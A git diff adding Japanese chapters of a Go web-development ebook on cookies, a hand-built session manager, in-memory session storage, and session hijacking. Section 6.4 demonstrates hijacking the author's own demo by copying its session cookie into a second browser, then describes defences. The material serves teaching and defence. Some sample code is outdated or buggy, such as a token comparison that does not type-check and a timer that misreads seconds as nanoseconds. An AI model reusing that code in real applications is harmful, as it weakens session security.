+この章ではGoがどのようにdatabase/sqlインターフェースを設計するのかご説明しました。その後、サードパーティによるリレーショナルデータベースドライバの使用をご紹介しました。次にbeedbというリレーショナルデータベースに基づくORMライブラリがどのようにしてデータベースに対して簡単な操作を行うかご説明しました。最後にNOSQLのいくつかの知識をご紹介しました。現在GoのNOSQLに対するサポートはなかなかよくできています。Goは21世紀のC言語ですから、21世紀のデータベースに対するサポートも非常によくできています。 + +この一章の学習を通じて、いろいろなデータベースをどのように操作するか学んできました。Webの中でも重要なデータの保存に関する問題が解決したので、みなさんのdatabase/sqlの設計思想により一歩進んだ理解が深まることを願っています。 + +## links + * [目次]() + * 前へ: [NOSQLデータベースの操作](<05.6.md>) + * 次へ: [sessionとデータの保存](<06.0.md>) diff --git a/ja/ebook/06.0.md b/ja/ebook/06.0.md new file mode 100644 index 00000000..f785a159 --- /dev/null +++ b/ja/ebook/06.0.md @@ -0,0 +1,12 @@ +# 6 sessionとデータの保存 +Web開発ではどのようにしてユーザの閲覧家庭のすべてをコントロールするかということは非常に重要です。HTTPプロトコルはステートレスですので、ユーザの毎回のリクエストにはステータスがありません。Web操作の全体の過程の中でどの接続がどのユーザと関係しているのか知る方法がありません。では、どのようにしてこの問題を解決しているのでしょうか?Webでの伝統的な解決方法はcookieとsessionです。cookieによるメカニズムはクライアント側でのメカニズムです。ユーザのデータをクライアントに保存します。sessionメカニズムはサーバ側でのメカニズムです。サーバはハッシュテーブルのような構造でデータを保存します。ホームページの各閲覧者はユニークなIDを与えられます。すなわち、SessionIDです。この保存形式は2つだけです:urlによって渡されるか、クライアントのcookieに保存されるかです。当然、Sessionをデータベースに保存することもできます。よりセキュリティが高まりますが、効率の面ではいくつか後退します。 + +6.1節ではsessionメカニズムとcookieメカニズムの関係と区別についてご紹介します。6.2ではGo言語がどのようにsessionを実現しているかご説明します。この中では簡単なsessionマネージャを実現します。6.3節ではどのようにしてsessionハイジャックの状態を防ぐかご説明します。どのように効果的にsessionを保護するのか。sessionはそもそもどのようなところに保存してもよいのです。6.3節ではsessionをメモリの中に保存しますが、我々のアプリケーションをもう一歩展開させる場合、アプリケーションのsession共有を実現する必要があります。sessionをデータベースの中(memcacheまたはredis)に保存します。6.4節ではどのようにしてこの機能を実装するかご説明します。 + +## 目次 + ![](images/navi6.png?raw=true) + +## links + * [目次]() + * 前へ: [第五章概要](<05.7.md>) + * 次へ: [sessionとcookie](<06.1.md>) diff --git a/ja/ebook/06.1.md b/ja/ebook/06.1.md new file mode 100644 index 00000000..b67aeba9 --- /dev/null +++ b/ja/ebook/06.1.md @@ -0,0 +1,105 @@ +# 6.1 sessionとcookie +sessionとcookieの2つはホームページの閲覧の中で比較的よくみかける概念です。これらはまた区別するのが難しい概念でもあります。しかし認証の必要なサービスやページの統計では相当重要になってきます。まずsessionとcookieがいったいどういうものか理解していくことにしましょうこのような問題を考えます: + +どのようにしてアクセスに制限のあるページをスクレイピングすればよいでしょうか?例えば新浪マイクロブログの友達のメインページや個人のマイクロブログのページ等です。 + +当然ブラウザから主導でユーザ名とパスワードを入力し、ページにアクセスすることができます。いわゆる"スクレイピング"とはプログラムを使って同じような作業を行うことを言います。そのため、"ログイン"の課程で何が発生しているのか理解する必要があります。 + +ユーザがマイクロブログのログイン画面にきた時、ユーザ名とパスワードを入力した後、"ログイン"をクリックするとブラウザが認証情報をリモートのサーバに送信します。サーバは検証ロジックを実行して、もし検証がパスすれば、ブラウザはログインしたユーザのマイクロブログのトップページにリダイレクトします。ログインが成功した後、サーバはどのように我々がその他の制限のあるページへのアクセスを検証するのでしょうか?HTTPプロトコルはステートレスですので、サーバは我々が前のHTTPリクエストの中で検証をパスした事を知る由もありません。当然、もっとも簡単な解決方法はすべてのリクエストにユーザ名とパスワードを含めることです。これでも構いませんが、サーバの負荷を非常に高めてしまいます。(毎回のリクエストがすべてデータベースでの検証を必要とします。)ユーザのエクスペリエンスも低下します。(すべてのページで再度ユーザ名とパスワードを入力しなければなりません。すべてのページにログインフォームが出てきます。)直接リクエストの中にユーザ名とパスワードを含めるわけにはいかないのでサーバかクライアントに身分を示す情報のようなものを保存するしかありません。cookieとsessionはそのためにあります。 + +cookieとは、簡単に言えばローカルマシンに保存されたユーザの操作の履歴情報です(当然ログイン情報を含みます)。またユーザが再度このページにアクセスした際ブラウザはHTTPプロトコルを通してローカルのcookieの内容をサーバに送信し、検証を行います。または継続して前の操作を行います。 + +![](images/6.1.cookie2.png?raw=true) + +図6.1 cookieの原理図 + +sessionとは、簡単に言えばサーバ上に保存されたユーザの操作の履歴情報です。サーバはsession idを使用してsessionを識別します。session idはサーバが生成します。ランダム性とユニーク性を保証し、ランダムな秘密鍵に相当します。ハンドシェイクやデータ通信中にユーザの本当のパスワードが暴露されるのを防ぎます。しかしこの方法では、依然としてリクエストを送信したクライアントとsessionを対応させる必要があります。そのためcookieメカニズムによってクライアントのID(session id)を取得することで、GETメソッドでidをサーバに送信することができます。 + +![](images/6.1.session.png?raw=true) + +図6.2 sessionの原理図 + +## cookie +Cookieはブラウザによって維持されます。クライアントに小さな本文情報として保存されます。ユーザのリクエストと画面に沿ってWebサーバとブラウザの間でやりとりされます。ユーザがページにアクセスした際、Webアプリケーションはcookieに含まれる情報を読取ることができます。ブラウザの設定ではcookieのプライバシーデータの選択肢があります。これをオープンするとすでにアクセスしたことのあるページのcookieをたくさん閲覧することができます。下の図をご覧ください: + +![](images/6.1.cookie.png?raw=true) + +図6.3 ブラウザで保存されているcookie情報 + +cookieには有効期限があります。有効期限の違いに従って2つに分けられます:セッションcookieと持続クッキーがあります。 + +もし有効期限を設定しなければ、このcookieの有効期限は新規に作成されてからブラウザを閉じるまでとなり、cookieは消滅します。このような有効期限は閲覧時のセッションのセッションcookieと呼ばれます。セッションcookieは一般的にハードディスク上には保存されず、メモリに保存されます。 + +もし有効期限(setMaxAge(60*60*24))が設定されていると、ブラウザはcookieをハードディスクに保存します。ブラウザを閉じて再度開くと、これらのcookieは依然として設定された有効期限まで有効となります。ハードディスク上に保存されたcookieは異なるブラウザのプロセス間で共有することができます。たとえばIEを2つ開き、メモリに保存されたcookieに対し異なるブラウザは異なる処理方法をとります。 +   + +### Goでcookieを設定する +Go言語ではnet/httpパッケージのSetCookieを通して設定します: + + http.SetCookie(w ResponseWriter, cookie *Cookie) + +wは入力する必要のあるresponse、cookieはstructです。cookieオブジェクトがどのようになっているか見てみましょう。 + + type Cookie struct { + Name string + Value string + Path string + Domain string + Expires time.Time + RawExpires string + + // MaxAge=0 means no 'Max-Age' attribute specified. + // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0' + // MaxAge>0 means Max-Age attribute present and given in seconds + MaxAge int + Secure bool + HttpOnly bool + Raw string + Unparsed []string // Raw text of unparsed attribute-value pairs + } + +例を一つ見てみましょう。どのようにcookieを設定するかです。 + + expiration := *time.LocalTime() + expiration.Year += 1 + cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration} + http.SetCookie(w, &cookie) + +   +### Goでcookieを読む +上の例ではどのようにcookieデータを設定するかご説明しました。ここではどのようにcookieを読み取るのか見てみましょう。 + + cookie, _ := r.Cookie("username") + fmt.Fprint(w, cookie) + +もうひとつのロード方法は + + for _, cookie := range r.Cookies() { + fmt.Fprint(w, cookie.Name) + } + +requestを通してcookieが非常に簡単に取得できるのがおわかりいただけるとおもいます。 + +## session + +session、中国語ではよく「会話」と翻訳されます。本来は始めから終わりまでの一連のアクション/メッセージを意味します。たとえば電話をかける時は受話器を手にとり電話番号を押して電話を切る間の一連の過程をsessionと呼ぶことができます。しかしsessionという言葉がネットワークプロトコルと関係がある時は、往々にして"接続型通信"または/もしくは"ステートの保持"の2つの意味が含まれています。 + +sessionはWeb開発環境ではまた新しい意味が含まれます。クライアントサイドとサーバサイドの間でステートを保持するためのソリューションです。しばしばSessionはまたこのようなソリューションの保存構造も指します。 + +sessionメカニズムはサーバサイドのメカニズムです。サーバでハッシュテーブルの構造に似たもの(ハッシュテーブルを使う場合もあります)を使用することで情報を保存します。 + +しかしプログラムがあるクライアントのリクエストにsessionを確立する必要がある場合、サーバはまずこのクライアントのリクエストにsessionIDがあるかを検査します。サーバはsession idを参照し、このsessionを検索し(検索できなかった場合は新規に作成されます。このような状況はサーバがすでにこのユーザに対応するsessionオブジェクトを削除してしまった場合に起こり得ます、しかしユーザは人為的にリクエストのURLの後にJSESSIONの引数を追加します。)使用します。もしユーザのリクエストにsession idが含まれなければ、このユーザにsessionを作成し同時にこのsessionと関係するsession idを生成します。このsession idは今回のレスポンスにおいてクライアント側に返され保存されます。 + +sessionメカニズム自身は特に複雑ではありませんが、その実装と設定の柔軟性は複雑を極めます。これは一回の経験やひとつのブラウザ、サーバのみの経験でもって普遍的に通用するものではありません。 + +## 概要 + +上述の通り、sessionとcookieの目的は同じです。どちらもhttpプロトコルのステートレスであるという欠点を克服するためにあります。しかしその方法は異なります。sessionはcookieを通じてクライアントにsession idを保存します。またユーザの他のセッション情報はサーバのsessionオブジェクトに保存されます。これとは対照的に、cookieはすべての情報をクライアントに持たせる必要があります。そのためcookieにはある程度潜在的な脅威が存在します。例えばローカルのcookieに保存されたユーザ名とパスワードが解読されたり、cookieが他のホームページに収集されます(例えば:1.appAが主導的にゾーンBのcookieを設定し、ゾーンBにcookieを取得させます;2.XSS、appAでjavascriptを通じてdocument.cookieを取得し、自分のappBに送信します)。 + + +上のいくつかの簡単な紹介でcookieとsessionの基礎的な知識をご紹介しました。これらの間の関係と区別を知り、web開発を行う前に必要な知識をあらかじめよく理解することで、対応に困窮したりbugフィックスを行う際に行き当たりばったりになったりしなくて済みます。以降のいくつかの章ではsessionに関するより細かな知識についてご紹介します。 + +## links + * [目次]() + * 前へ: [sessionとデータの保存](<06.0.md>) + * 次へ: [Goはどのようにしてsessionを使用するか](<06.2.md>) diff --git a/ja/ebook/06.2.md b/ja/ebook/06.2.md new file mode 100644 index 00000000..1ed609fa --- /dev/null +++ b/ja/ebook/06.2.md @@ -0,0 +1,215 @@ +# 6.2 Goはどのようにしてsessionを使用するか +前の節で、sessionはサーバサイドで実装されるユーザとサーバ間の認証のソリューションのひとつであることをご紹介しました。現在Goの標準パッケージにはsessionのサポートがありません。この節では実際にてを動かしてgoバージョンのsession管理と作成を実現してみます。 + +## sessionの作成過程 +sessionの基本原理はサーバによって各セッションにおける情報データを保護することです。クライアントサイドはサーバサイドとグローバルでユニークなIDひとつを頼ってこのデータにアクセスし、インタラクティブな目的が達成されます。ユーザがWebアプリケーションにアクセスする際、サーバサイドのプログラムはsession作成の要求に従います。この過程は3つのステップに分けることができます: + +- グローバルでユニークなIDの生成(sessionid) +- データの保存スペースを作成。普通はメモリの中に対応するデータ構造を作成します。しかしこのような状況では、システムは一旦電源が切れると、すべてのセッションデータが消失します。もしeコマースのようなホームページであった場合、これは重大な結果をもたらします。そのため、このような問題を解決するためにセッションデータをファイルの中やデータベースの中に書き込むことができます。当然この場合I/Oオーバーヘッドが増加しますが、ある程度のsessionの永続化は実現できますし、sessionの共有にも有利です。 +- sessionのグローバルでユニークなIDをクライアントサイドに送信します。 + +上の3つのステップでもっとも重要なのは、どのようにこのsessionのユニークIDを送信するかというステップです。HTTPプロトコルの定義上、データはリクエスト行、ヘッダー部またはBodyの中に含めるしかありません。そのため一般的には2つのよく使われる方法があります:cookieとURLの書き直しです。 + +1. Cookie +サーバサイドはSet-cookieヘッダーを設定することでsessionのIDをクライアントサイドに送信することができます。クライアントサイドは以降の各リクエストすべてにこのIDを含めます。またsession情報を含んだcookieの有効期限を0(セッションcookie)、つまりブラウザプロセスの有効期限に設定することもよく行われます。各ブラウザはそれぞれ異なる実装がされていますが、差はそれほど大きくはありません(一般的にはブラウザウィンドウを新規に作成した際に反映されます)。 +2. URLの書き直し +いわゆるURLの書き直しとは、ユーザに返されるページの中のすべてのURLの後ろにsessionIDを追加することです。このようにユーザがレスポンスを受け取った後、レスポンスのページの中のどのリンクをクリックしたりフォームを送信しても、すべて自動的にsessionIDが付与されます。これによりセッションの保持を実現します。このような方法はすこし面倒ではありますが、もしクライアントサイドがcookieを禁止している場合、このようなソリューションがまず選ばれます。 + +## Goでsession管理を実現する +上のsession作成の課程の解説で、読者はsessionの大体の知識を得られたものと思います。しかし具体的な動的ページ技術においては、またどうやってsessionを実現しているのでしょうか?ここではsessionのライフサイクル(lifecycle)と併せてgo言語バージョンのsession管理を実現します。 + +### session管理設計 +session管理は以下のいくつかのファクターが関わってきます + +- グローバルなsessionマネージャ +- sessionidがグローバルにユニークであることの保証 +- 各ユーザをひとつのsessionに関連付ける +- sessionの保存(メモリ、ファイル、データベース等に保存できます) +- sessionの期限切れ処理 + +以降ではsession管理の全体の設計構想と対応するgoのコード例について解説します: + +### Sessionマネージャ + +あるグローバルなsessionマネージャを定義します + + type Manager struct { + cookieName string //private cookiename + lock sync.Mutex // protects session + provider Provider + maxlifetime int64 + } + + func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) { + provider, ok := provides[provideName] + if !ok { + return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName) + } + return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil + } + +Goで実現される全体のフローは概ねこのようなものになります。mainパッケージにおいてグローバルなsessionマネージャを作成します。 + + var globalSessions *session.Manager + //この後init関数で初期化されます。 + func init() { + globalSessions, _ = NewManager("memory","gosessionid",3600) + } + +我々はsessionがサーバサイドに保存されるデータであることを知っています。これはどのような方法で保存されてもかまいません。例えばメモリ、データベースまたはファイルの中に保存します。そのため、Providerインターフェースを抽象化することでトークンsessionマネージャが低レイヤで構造を保存します。 + + type Provider interface { + SessionInit(sid string) (Session, error) + SessionRead(sid string) (Session, error) + SessionDestroy(sid string) error + SessionGC(maxLifeTime int64) + } + +- SessionInit関数はSessionの初期化を実装します。操作に成功するとこの新しいSession変数を返します。 +- SessionRead関数はsidが示すSession変数を返します。もし存在しなければ、sidを引数としてSessionInit関数をコールし、真新しいSession変数を新規に作成して、返します。 +- SessionDestroy関数はsidに対応するSession変数を廃棄するために用いられます。 +- SessionGCはmaxLifeTimeに従って期限の切れたデータを削除します。 + +ではSessionインターフェースはどのような機能を実装しなければならないのでしょうか?Web開発の経験のある読者であればご存知だとは思いますが、Sessionに対する処理の基本は 値を設定する、値を取得する、値を削除する、現在のsessionIDを取得する の4つの操作となります。ですので我々のSessionインターフェースもこの4つの操作を実装します。 + + type Session interface { + Set(key, value interface{}) error //set session value + Get(key interface{}) interface{} //get session value + Delete(key interface{}) error //delete session value + SessionID() string //back current sessionID + } + +>以上の設計構想はdatabase/sql/driverに由来します。先にインターフェースを定義して、その後実際にsessionを保存する構造が対応するインターフェースを実装し登録すると、対応する機能が使用できるようになります。以下はオンデマンドに登録しsessionの構造を保存するRegister関数の実装です。 + + var provides = make(map[string]Provider) + + // Register makes a session provide available by the provided name. + // If Register is called twice with the same name or if driver is nil, + // it panics. + func Register(name string, provider Provider) { + if provider == nil { + panic("session: Register provide is nil") + } + if _, dup := provides[name]; dup { + panic("session: Register called twice for provide " + name) + } + provides[name] = provider + } + +### グローバルでユニークなSession ID + +Session IDはWebアプリケーションにアクセスした各ユーザを識別するために用いられます。その為これはグローバルでユニークであることを保証する必要があります。(GUID)、下のコードはどのようにこの要求を満足させるか示しています。 + + func (manager *Manager) sessionId() string { + b := make([]byte, 32) + if _, err := io.ReadFull(rand.Reader, b); err != nil { + return "" + } + return base64.URLEncoding.EncodeToString(b) + } + +### sessionの作成 +各ユーザに対して彼らと結びつくSessionを与えたり取得することで、Session情報に従って操作を検証する必要があります。SessionStartという関数はあるSessionが現在アクセスしているユーザと既に関係しているか検査するために用いられます。もし無ければ新規にこれを作成します。 + + func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) { + manager.lock.Lock() + defer manager.lock.Unlock() + cookie, err := r.Cookie(manager.cookieName) + if err != nil || cookie.Value == "" { + sid := manager.sessionId() + session, _ = manager.provider.SessionInit(sid) + cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)} + http.SetCookie(w, &cookie) + } else { + sid, _ := url.QueryUnescape(cookie.Value) + session, _ = manager.provider.SessionRead(sid) + } + return + } + +前のlogin操作で示したsessionの運用を利用します: + + func login(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + r.ParseForm() + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("username")) + } else { + sess.Set("username", r.Form["username"]) + http.Redirect(w, r, "/", 302) + } + } + +### 値の操作:設定、ロードおよび削除 +SessionStart関数はSessionインターフェースを満足させる変数を返します。ではどのようにこれを利用してsessionデータに対し操作を行うのでしょうか? + +上の例のコード`session.Get("uid")`において基本的なデータのロード操作をお見せしました。ここではより詳しく操作を見ていくことにしましょう: + + func count(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + createtime := sess.Get("createtime") + if createtime == nil { + sess.Set("createtime", time.Now().Unix()) + } else if (createtime.(int64) + 360) < (time.Now().Unix()) { + globalSessions.SessionDestroy(w, r) + sess = globalSessions.SessionStart(w, r) + } + ct := sess.Get("countnum") + if ct == nil { + sess.Set("countnum", 1) + } else { + sess.Set("countnum", (ct.(int) + 1)) + } + t, _ := template.ParseFiles("count.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("countnum")) + } + +上の例には、Sessionの操作とkey/valueデータベースに似た操作である:Set、Get、Deleteといった操作が見受けられます。 + +Sessionには有効期限の概念がありますので、GC操作を定義しました。アクセス期限が切れるとGCのトリガー条件を満たし、GCを呼び出します。しかし我々が任意のsession操作を行うと、Sessionエンティティに対し更新を行い、最終アクセス時間の修正を行います。このようにGCが行われる際は誤ってまだ使用されているSessionエンティティを削除してしまわないようにします。 + +### sessionの再設定 +Webアプリケーションにはユーザのログアウト操作があります。ユーザがアプリケーションをログアウトする時、このユーザのsessionデータを破棄する必要があります。上のコードはすでにどのようにsessionの再設定操作を使用するか示しています。ここではこの関数がこの機能を実装します: + + //Destroy sessionid + func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){ + cookie, err := r.Cookie(manager.cookieName) + if err != nil || cookie.Value == "" { + return + } else { + manager.lock.Lock() + defer manager.lock.Unlock() + manager.provider.SessionDestroy(cookie.Value) + expiration := time.Now() + cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1} + http.SetCookie(w, &cookie) + } + } + + +### sessionの破棄 +ではSessionマネージャがどのように破棄を管理しているのかみてみることにしましょう。Mainが呼び出される際に実行するだけです: + + func init() { + go globalSessions.GC() + } + + func (manager *Manager) GC() { + manager.lock.Lock() + defer manager.lock.Unlock() + manager.provider.SessionGC(manager.maxlifetime) + time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() }) + } + +GCが十分にtimeパッケージのタイマー機能を利用していることがおわかりいただけるかと思います。時間が`maxLifeTime`を超えた後GC関数をコールした際、これによって`maxLiefTime`時間内でsessionが利用できることを保証できます。このような方法はまたオンラインユーザの数といった統計に用いることもできます。 + +## 概要 +これまでに、WebアプリケーションにおけるグローバルなSession管理に用いられるSessionManagerを実装してまいりました。Sessionを提供するために用いられるストレージを定義し、Providerのインターフェースを実装しました。次の節では、インターフェースの定義を通してProviderを実装します。ぜひご参考ください。 + +## links + * [目次]() + * 前へ: [sessionとcookie](<06.1.md>) + * 次へ: [sessionストレージ](<06.3.md>) diff --git a/ja/ebook/06.3.md b/ja/ebook/06.3.md new file mode 100644 index 00000000..f6a9d400 --- /dev/null +++ b/ja/ebook/06.3.md @@ -0,0 +1,137 @@ +# 6.3 sessionストレージ +上の節でSessionマネージャの実装原理をご紹介しました。sessionを保存するインターフェースを定義したので、この節ではメモリに基づくsessionストレージインターフェースの実装例をご説明します。その他の保存方法についてはご自身で例を参考に実装してみてください。メモリの実装については下のコード例をご覧ください。 + + package memory + + import ( + "container/list" + "github.com/astaxie/session" + "sync" + "time" + ) + + var pder = &Provider{list: list.New()} + + type SessionStore struct { + sid string //session idユニークID + timeAccessed time.Time //最終アクセス時間 + value map[interface{}]interface{} //sessionに保存される値 + } + + func (st *SessionStore) Set(key, value interface{}) error { + st.value[key] = value + pder.SessionUpdate(st.sid) + return nil + } + + func (st *SessionStore) Get(key interface{}) interface{} { + pder.SessionUpdate(st.sid) + if v, ok := st.value[key]; ok { + return v + } else { + return nil + } + return nil + } + + func (st *SessionStore) Delete(key interface{}) error { + delete(st.value, key) + pder.SessionUpdate(st.sid) + return nil + } + + func (st *SessionStore) SessionID() string { + return st.sid + } + + type Provider struct { + lock sync.Mutex //ロックに使用します + sessions map[string]*list.Element //メモリに保存するために使用します + list *list.List //gcを行うために使用します + } + + func (pder *Provider) SessionInit(sid string) (session.Session, error) { + pder.lock.Lock() + defer pder.lock.Unlock() + v := make(map[interface{}]interface{}, 0) + newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v} + element := pder.list.PushBack(newsess) + pder.sessions[sid] = element + return newsess, nil + } + + func (pder *Provider) SessionRead(sid string) (session.Session, error) { + if element, ok := pder.sessions[sid]; ok { + return element.Value.(*SessionStore), nil + } else { + sess, err := pder.SessionInit(sid) + return sess, err + } + return nil, nil + } + + func (pder *Provider) SessionDestroy(sid string) error { + if element, ok := pder.sessions[sid]; ok { + delete(pder.sessions, sid) + pder.list.Remove(element) + return nil + } + return nil + } + + func (pder *Provider) SessionGC(maxlifetime int64) { + pder.lock.Lock() + defer pder.lock.Unlock() + + for { + element := pder.list.Back() + if element == nil { + break + } + if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() { + pder.list.Remove(element) + delete(pder.sessions, element.Value.(*SessionStore).sid) + } else { + break + } + } + } + + func (pder *Provider) SessionUpdate(sid string) error { + pder.lock.Lock() + defer pder.lock.Unlock() + if element, ok := pder.sessions[sid]; ok { + element.Value.(*SessionStore).timeAccessed = time.Now() + pder.list.MoveToFront(element) + return nil + } + return nil + } + + func init() { + pder.sessions = make(map[string]*list.Element, 0) + session.Register("memory", pder) + } + +上のコードはメモリに保存するsessionメカニズムを実現しています。init関数を通じてsessionマネージャに登録されます。このように簡単にコールすることができます。どのようにこのエンジンをコールするのでしょうか?下のコードをご覧ください。 + + import ( + "github.com/astaxie/session" + _ "github.com/astaxie/session/providers/memory" + ) + +importを行う際、memory関数ではinit関数がすでに実行されています。これによりすでにsessionマネージャへの登録が済んでいますので、使用することができます。下の方法によってsessionマネージャを初期化することができます: + + var globalSessions *session.Manager + + //この後、init関数で初期化を行います。 + func init() { + globalSessions, _ = session.NewManager("memory", "gosessionid", 3600) + go globalSessions.GC() + } + + +## links + * [目次]() + * 前へ: [Goはどのようにしてsessionを使用するか](<06.2.md>) + * 次へ: [sessionハイジャックの予防](<06.4.md>) diff --git a/ja/ebook/06.4.md b/ja/ebook/06.4.md new file mode 100644 index 00000000..67cb4671 --- /dev/null +++ b/ja/ebook/06.4.md @@ -0,0 +1,89 @@ +# 6.4 sessionハイジャックの予防 +sessionハイジャックは広範囲に存在する比較的重大な脆弱性です。session技術において、クライアントサイドとサーバサイドはsessionのIDによってセッションを維持します。しかしこのIDは簡単にスニッフィングされ、第三者に利用されてしまいます。これは中間者攻撃の一種です。 + +本章ではセッションハイジャックの実例をお見せします。この実例を通して、読者がよりsessionの本質への理解を深めていただけることを願っています。 +## sessionハイジャックの過程 +下のようなcountカウンターを書きます: + + func count(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + ct := sess.Get("countnum") + if ct == nil { + sess.Set("countnum", 1) + } else { + sess.Set("countnum", (ct.(int) + 1)) + } + t, _ := template.ParseFiles("count.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("countnum")) + } + + +count.gtplのコードは以下の通り: + + Hi. Now count:{{.}} + +ブラウザ上でリロードを行うと以下のような内容が確認できます: + +![](images/6.4.hijack.png?raw=true) + +図6.4 ブラウザでcount数を表示 + +リロードによって、数字は際限なく増加します。数字が6を示した時ブラウザ(ここではchromeを例にとります)のcookieマネージャを開くと、以下のような情報を見ることができます: + + +![](images/6.4.cookie.png?raw=true) + +図6.5 ブラウザが保存しているcookieを取得 + +次のステップが重要です:別のブラウザ(ここではfirefoxブラウザを開きました)を開き、chromeのアドレスバーのアドレスを新たに開いたブラウザのアドレスバーにコピーします。その後firefoxのcookieエミュレートプラグインを開き、新規にcookieを作成します。上の図のcookieの内容をそのままfirefoxの中に再設定します: + +![](images/6.4.setcookie.png?raw=true) + +図6.6 cookieをエミュレート + +エンターキーを押すと、下のような内容が現れます: + +![](images/6.4.hijacksuccess.png?raw=true) + +図6.7 sessionのハイジャックに成功 + +ブラウザを変えても、sessionIDを取得することができました。この後cookieの保存過程をエミュレートします。この例は一台のコンピュータの上で行ったものです。たとえ二台によって行ったとしても結果は同じです。この時もし交代で2つのブラウザのリンクをクリックした場合、操作しているカウンターが実は同じものであるということに気づくでしょう。驚くことはありません。ここではfirefoxがchromeとgoserver間のセッション維持の鍵を盗みました。すなわち、gosessionidです。これは"セッションハイジャック"の一種です。goserverからすると、httpリクエストからgosessionidを得ました。HTTPプロトコルのステートレスによってgosessionidがchromeから"ハイジャック"されたものなんか知る方法はありません。依然として対応するsessionを探し、関連する計算を実行します。同時にchromeも自分が保持しているセッションがすでに"ハイジャック"されたことを知る方法もありません。 +## sessionハイジャックの予防措置 +### cookieonlyとtoken +上のセッションハイジャックの簡単な例で、sessionが他の人にハイジャックされると非常に危険だとわかりました。ハイジャック側はハイジャックされた側を装い多くの非合法な操作を行うことができます。ではどのように効果的にsessionハイジャックを防止するのでしょうか? + +ひとつの方法はsessionIDの値にcookieによってのみ設定されるようにすることです。URLの書き直し方法は許さないようにし、同時にcookieのhttponlyをtrueに設定します。このプロパティはクライアントサイドのスクリプトが設定されたcookieにアクセスできるか否かを設定します。まず、これによってこのcookieがXSSによって読み取られ、sessionハイジャックを引き起こすことを防止できます。つぎにcookieの設定がURLの書き直し方法によって容易にsessionIDを取得することができなくなります。 + +ステップ2は各リクエストの中にtokenを追加することです。前の章で述べたformの重複送信を防止するのに似た機能を実装します。各リクエストの中で隠されたtokenを追加し、毎回このtokenを検証することでユーザのリクエストがユニークであることを保証します。 + + h := md5.New() + salt:="astaxie%^7&8888" + io.WriteString(h,salt+time.Now().String()) + token:=fmt.Sprintf("%x",h.Sum(nil)) + if r.Form["token"]!=token{ + //ログイン画面を表示 + } + sess.Set("token",token) + + +### 間隔をおいて新しいSIDを生成する +もう一つの方法は、sessionの他に作成時間を設けることです。一定の時間が過ぎると、このsessionIDは破棄され、再度新しいsessionが生成されます。このようにすることで、ある程度sessionハイジャックの問題を防ぐことができます。 + + createtime := sess.Get("createtime") + if createtime == nil { + sess.Set("createtime", time.Now().Unix()) + } else if (createtime.(int64) + 60) < (time.Now().Unix()) { + globalSessions.SessionDestroy(w, r) + sess = globalSessions.SessionStart(w, r) + } + +sessionが始まると、生成されたsessionIDの時間を記録する一つの値が設定されます。毎回のリクエストが有効期限(ここでは60病と設定しています)を超えていないか判断し、定期的に新しいIDを生成します。これにより攻撃者は有効なsessionIDを取得する機会を大きく失います。 + +上の2つの手段を組み合わせると実践においてsessionハイジャックのリスクを取り除くことができます。sessionIDを頻繁に変えると攻撃者に有効なsessionIDを取得する機会を失わせます。sessionIDはcookieの中でやりとりされ、httponlyを設定されるため、URLに基づいた攻撃の可能性はゼロです。同時にXSSによるsessionIDの取得も不可能です。最後にMaxAge=0を設定します。これによりsession cookieがブラウザのログの中に記録されなくなります。 + + +## links + * [目次]() + * 前へ: [sessionストレージ](<06.3.md>) + * 次へ: [概要](<06.5.md>) diff --git a/ja/ebook/06.5.md b/ja/ebook/06.5.md new file mode 100644 index 00000000..db31bdba --- /dev/null +++ b/ja/ebook/06.5.md @@ -0,0 +1,6 @@ +# 6.5 概要 +この章ではsession/cookieとは何かを、また両者の関係について勉強しました。しかし現在Goのオフィシャルパッケージではsessionがサポートされていません。そのため、sessionマネージャを設計しました。sessionの作成から破棄に至る全体の過程を実装し、Providerのインターフェースを定義することによって、各バックエンドのsessionストレージをサポートできるようにしました。第三節ではメモリストレージによってどのようにsessionの管理を実装するのかご紹介しました。第四節ではsessionハイジャックの過程と、どのようにsessionハイジャックを防止するのかを解説しました。第一章の解説を通して、読者の皆様方にはsessionの実行原理とどのように実現されるか、またどのように安全にsessionを使用するかについて理解いただけるよう望んています。 +## links + * [目次]() + * 前へ: [sessionストレージ](<06.4.md>) + * 次へ: [テキスト処理](<07.0.md>) diff --git a/ja/ebook/07.0.md b/ja/ebook/07.0.md new file mode 100644 index 00000000..88daddd0 --- /dev/null +++ b/ja/ebook/07.0.md @@ -0,0 +1,12 @@ +# 7 テキスト処理 +Web開発においてテキスト処理は非常に重要な要素です。往々にして出力または入力する内容に対して処理を行う必要があります。ここでのテキストには文字列、数字、Json、XML等々が含まれます。高性能な一言語としてのGo言語では、これらのテキストの処理はすべてオフィシャルの標準パッケージにサポートされています。また利用中にGo標準ライブラリが巧みに設計されていることに気がつくでしょう。またユーザからすれば非常に簡単にこれらのテキストを処理することができます。本章では4つの節を通してユーザにGo言語のテキスト処理のよい知識をご紹介したいきたいと思います。 + 